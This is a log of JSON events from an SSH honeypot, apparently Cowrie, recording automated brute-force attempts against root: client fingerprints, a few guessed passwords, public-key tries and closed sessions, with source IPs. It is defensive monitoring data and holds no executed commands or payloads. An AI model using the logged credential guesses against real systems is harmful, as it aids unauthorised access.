{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:26.149025Z","src_ip":"194.59.206.2","session":"b894162690fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:26.238980Z","src_ip":"194.59.206.2","session":"b894162690fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":60646,"dst_ip":"10.17.0.5","dst_port":22,"session":"01cc2c128c25","protocol":"ssh","message":"New connection: 103.77.175.15:60646 (10.17.0.5:22) [session: 01cc2c128c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:51.241035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:51.244976Z","src_ip":"103.77.175.15","session":"01cc2c128c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:51.490662Z","src_ip":"103.77.175.15","session":"01cc2c128c25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16061987","message":"login attempt [root/16061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:52.235155Z","src_ip":"103.77.175.15","session":"01cc2c128c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:13:53.485642Z","src_ip":"103.77.175.15","session":"01cc2c128c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.180.163.29","src_port":37880,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe5dcefae80a","protocol":"ssh","message":"New connection: 139.180.163.29:37880 (10.17.0.5:22) [session: fe5dcefae80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:34.368605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:34.373946Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:34.582121Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:e7:cd:2b:3f:74:58:cd:54:d9:6e:24:f1:38:b7:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTk1/t/5G1NaeGqOwBgL0jExMKiwqjW1NIR84h1UCW4C1oh8CkTkSzqisZmWRDh90QiD+VDEn3nLWfznRcRwVbA9hKFqreLqzjhGbgG7KRu5zp82uWRRdn1IxWib7/YVvwJCnh/95N0MOHUpmQAqzcnIz5prvGULUG3gsqnZtK3XFlymT97vrdoCGUyqTPPhLsH1crcyoO1zNe35i88XYbTJQiheAxeY0volhP/TVxK1c7szlArEoLz/uaynui/lAsfAsh41pF9fhkxqIewmP42ogFds9tkTogLNhpTkh4jHqag6K5DNDSugI+vosdng69+DUq+YzdRD2DKT15wjGl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:e7:cd:2b:3f:74:58:cd:54:d9:6e:24:f1:38:b7:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:35.594719Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:e7:cd:2b:3f:74:58:cd:54:d9:6e:24:f1:38:b7:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTk1/t/5G1NaeGqOwBgL0jExMKiwqjW1NIR84h1UCW4C1oh8CkTkSzqisZmWRDh90QiD+VDEn3nLWfznRcRwVbA9hKFqreLqzjhGbgG7KRu5zp82uWRRdn1IxWib7/YVvwJCnh/95N0MOHUpmQAqzcnIz5prvGULUG3gsqnZtK3XFlymT97vrdoCGUyqTPPhLsH1crcyoO1zNe35i88XYbTJQiheAxeY0volhP/TVxK1c7szlArEoLz/uaynui/lAsfAsh41pF9fhkxqIewmP42ogFds9tkTogLNhpTkh4jHqag6K5DNDSugI+vosdng69+DUq+YzdRD2DKT15wjGl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:35.599477Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:53:fb:62:66:2c:7f:67:78:65:b5:05:15:35:41:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPgxMkW/oFXMoARRsbNCMaunUfQsmEU7V2rxD7W3NmcB4hlBwbyMc+ZV1QnLz7/XH93Sq5VoPK7rdOsIXMLv+SyoLyVmDi+NZPpkaRRkbeTqzafUSnwv6+hNbB4qodiGsakrv/CYo2CVVlAf5J0R1l6VjL+dFlZV7pDMAEhp446E5XhVti7tvv0iR2K2TsiH7InSdaAkXepP3QrMBkrsVOG3bTdOT5rHOz9my769z/iYInfKKwMC3U/Ral9oBXnHJziL3BW2EKQR2BV4vByn/y81td35q1Aia7P/VSMWl/Utaav0hyGYwoNErCE6krM19cwrMiEpgjhuzwZczRl4hx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:53:fb:62:66:2c:7f:67:78:65:b5:05:15:35:41:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:35.812553Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:53:fb:62:66:2c:7f:67:78:65:b5:05:15:35:41:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPgxMkW/oFXMoARRsbNCMaunUfQsmEU7V2rxD7W3NmcB4hlBwbyMc+ZV1QnLz7/XH93Sq5VoPK7rdOsIXMLv+SyoLyVmDi+NZPpkaRRkbeTqzafUSnwv6+hNbB4qodiGsakrv/CYo2CVVlAf5J0R1l6VjL+dFlZV7pDMAEhp446E5XhVti7tvv0iR2K2TsiH7InSdaAkXepP3QrMBkrsVOG3bTdOT5rHOz9my769z/iYInfKKwMC3U/Ral9oBXnHJziL3BW2EKQR2BV4vByn/y81td35q1Aia7P/VSMWl/Utaav0hyGYwoNErCE6krM19cwrMiEpgjhuzwZczRl4hx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:35.816278Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:76:0a:b9:36:af:3b:9c:f8:ba:f8:8f:0e:16:4f:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdlV7OTwO4NkagRwGVMlf8rdnKn3dYw3YiDU31CbYtrbnOpB4ajmXl4pp5vI67HZIx5PGMeix1wvk31Lt1Zh+H3q/w+9184PH5IDnS+a5nuqbQTKwq4LfhNYPbzx/h2dLAcXAb3AwsU6Pyq24K8aUmw2+bfFVz+h16qA9MJtl2uEHYztJw/wsZWOKavkcAFHwrDcT8EHwyvx/H30xXIxgyiTwhyX1AptI6ZwzUNl+xAc8UKZAzz4kEw7ZWIdgP4H/x4YPzpm0JTO0RuBZbWr+r/vmR9VNqFF9uKdATIR1QhoB19CZJWbCVIWpeCm5hKZDhqDeVEz82vmBvta8LVK4z+TJY3l6/pf8+Dq/27g0sP4eSBgUhHkcWKfI0J3p6FfvN/QgI+0YylQ0cwFkBSFhwDFZvGETYLwZbCPeJGnIsAmMvyD2U65NeNjSe6+DtQaS96z/P5tUfcHkuiTNzpB90OYDNCIjXxIiS/5AkQHGamjwMClxsLJ2/e0EJkYKfhocOvm23EMxWNLdJfSE3ZL2D5AUtFdhGu/pnaPfCmt4FLnOBduuJA0ggR4JSJft+x+hX8M61XEq4lsyxNV67mD8L0+L6eAz27VeprN7EsDhGi2tsrpw1bCh7C8l5LEbU+0W3pS/7rSXOTUT5Ff9GsXnIbTFYF6NcuTmoy+WQDcPNvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:76:0a:b9:36:af:3b:9c:f8:ba:f8:8f:0e:16:4f:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:36.023752Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:76:0a:b9:36:af:3b:9c:f8:ba:f8:8f:0e:16:4f:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdlV7OTwO4NkagRwGVMlf8rdnKn3dYw3YiDU31CbYtrbnOpB4ajmXl4pp5vI67HZIx5PGMeix1wvk31Lt1Zh+H3q/w+9184PH5IDnS+a5nuqbQTKwq4LfhNYPbzx/h2dLAcXAb3AwsU6Pyq24K8aUmw2+bfFVz+h16qA9MJtl2uEHYztJw/wsZWOKavkcAFHwrDcT8EHwyvx/H30xXIxgyiTwhyX1AptI6ZwzUNl+xAc8UKZAzz4kEw7ZWIdgP4H/x4YPzpm0JTO0RuBZbWr+r/vmR9VNqFF9uKdATIR1QhoB19CZJWbCVIWpeCm5hKZDhqDeVEz82vmBvta8LVK4z+TJY3l6/pf8+Dq/27g0sP4eSBgUhHkcWKfI0J3p6FfvN/QgI+0YylQ0cwFkBSFhwDFZvGETYLwZbCPeJGnIsAmMvyD2U65NeNjSe6+DtQaS96z/P5tUfcHkuiTNzpB90OYDNCIjXxIiS/5AkQHGamjwMClxsLJ2/e0EJkYKfhocOvm23EMxWNLdJfSE3ZL2D5AUtFdhGu/pnaPfCmt4FLnOBduuJA0ggR4JSJft+x+hX8M61XEq4lsyxNV67mD8L0+L6eAz27VeprN7EsDhGi2tsrpw1bCh7C8l5LEbU+0W3pS/7rSXOTUT5Ff9GsXnIbTFYF6NcuTmoy+WQDcPNvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:36.028508Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:c0:b1:34:a4:f2:26:2e:f6:e9:4d:e2:14:26:cb:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUAglijXtcecm08e8PeE+Jni8IAp5V9cu0aQWvlgVG9uC3xZu4fkfxyyzPD/XjclGp7VFJucuKqk9t61gU1ONJjt6KPZEa+eQ6APgvXHjjPcNOXVWlvnaeLdRSWn2oVC0h2jkb68uNJZsSG1djk6IGf65V/AcGuyODW9nCfl9GlBJSE5VArNSdR3A3HnDvfgxoUauyAD+12vF9LTxijviPRt2qc1iJtnc4feUGzulDURZTgCWeIEp+yDIrbhpSpBVUH6C+iEadYDi327OVzU5OtaWpaAgl3njcrovdCRYrWxNqt7InwyBz99Jos+2huh88FKot/1lKYZAB1bfChuLR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:c0:b1:34:a4:f2:26:2e:f6:e9:4d:e2:14:26:cb:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:36.236703Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:c0:b1:34:a4:f2:26:2e:f6:e9:4d:e2:14:26:cb:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUAglijXtcecm08e8PeE+Jni8IAp5V9cu0aQWvlgVG9uC3xZu4fkfxyyzPD/XjclGp7VFJucuKqk9t61gU1ONJjt6KPZEa+eQ6APgvXHjjPcNOXVWlvnaeLdRSWn2oVC0h2jkb68uNJZsSG1djk6IGf65V/AcGuyODW9nCfl9GlBJSE5VArNSdR3A3HnDvfgxoUauyAD+12vF9LTxijviPRt2qc1iJtnc4feUGzulDURZTgCWeIEp+yDIrbhpSpBVUH6C+iEadYDi327OVzU5OtaWpaAgl3njcrovdCRYrWxNqt7InwyBz99Jos+2huh88FKot/1lKYZAB1bfChuLR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:36.240963Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:f6:1b:b6:6a:ed:ef:b5:77:85:33:6c:1f:72:76:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtadz+yBCJUf/ytFQzFIbRzVi0oJSKhXs3Vz3IoJbNuj17N4iORnaoK9odkHWEki+Fdz5SnA9wxQCix83yBE+Ga6sd4kia7hLgknNjWOi+turSv+P9+d1l6lZXoSRHzGNr2LO6q2tJGY4UvMr8ItIP54NNVVLPk9tAN3hsHFFq4Ul2vjBW2RZkmaQXQH06MPCqvBN4ajEXiEkvTwzFqMSBiJ9CHL3Hvt/urlLk6AZj67bao1nv21Mo3Y+MSKi4+BDAmQVuahsnZ+Tg2Rczt0/SE3wakx9GU1PLKmHxPbxxkBpbZCdgMaNqMP0/5lkTBC3QK30/3l63pgdtyDuAjc0Zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:f6:1b:b6:6a:ed:ef:b5:77:85:33:6c:1f:72:76:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:36.449347Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:f6:1b:b6:6a:ed:ef:b5:77:85:33:6c:1f:72:76:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtadz+yBCJUf/ytFQzFIbRzVi0oJSKhXs3Vz3IoJbNuj17N4iORnaoK9odkHWEki+Fdz5SnA9wxQCix83yBE+Ga6sd4kia7hLgknNjWOi+turSv+P9+d1l6lZXoSRHzGNr2LO6q2tJGY4UvMr8ItIP54NNVVLPk9tAN3hsHFFq4Ul2vjBW2RZkmaQXQH06MPCqvBN4ajEXiEkvTwzFqMSBiJ9CHL3Hvt/urlLk6AZj67bao1nv21Mo3Y+MSKi4+BDAmQVuahsnZ+Tg2Rczt0/SE3wakx9GU1PLKmHxPbxxkBpbZCdgMaNqMP0/5lkTBC3QK30/3l63pgdtyDuAjc0Zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:36.453311Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:36.664282Z","src_ip":"139.180.163.29","session":"fe5dcefae80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47534,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1d85bd830b4","protocol":"ssh","message":"New connection: 37.233.85.71:47534 (159.203.135.109:22) [session: d1d85bd830b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:38.515541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:38.520721Z","src_ip":"37.233.85.71","session":"d1d85bd830b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:38.621503Z","src_ip":"37.233.85.71","session":"d1d85bd830b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tinkle","message":"login attempt [root/tinkle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:38.922024Z","src_ip":"37.233.85.71","session":"d1d85bd830b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47836,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9280a26b6e0","protocol":"ssh","message":"New connection: 103.173.227.57:47836 (10.17.0.5:22) [session: f9280a26b6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:39.532659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:39.537669Z","src_ip":"103.173.227.57","session":"f9280a26b6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:39.798113Z","src_ip":"103.173.227.57","session":"f9280a26b6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:40.024112Z","src_ip":"37.233.85.71","session":"d1d85bd830b4","protocol":"ssh"}
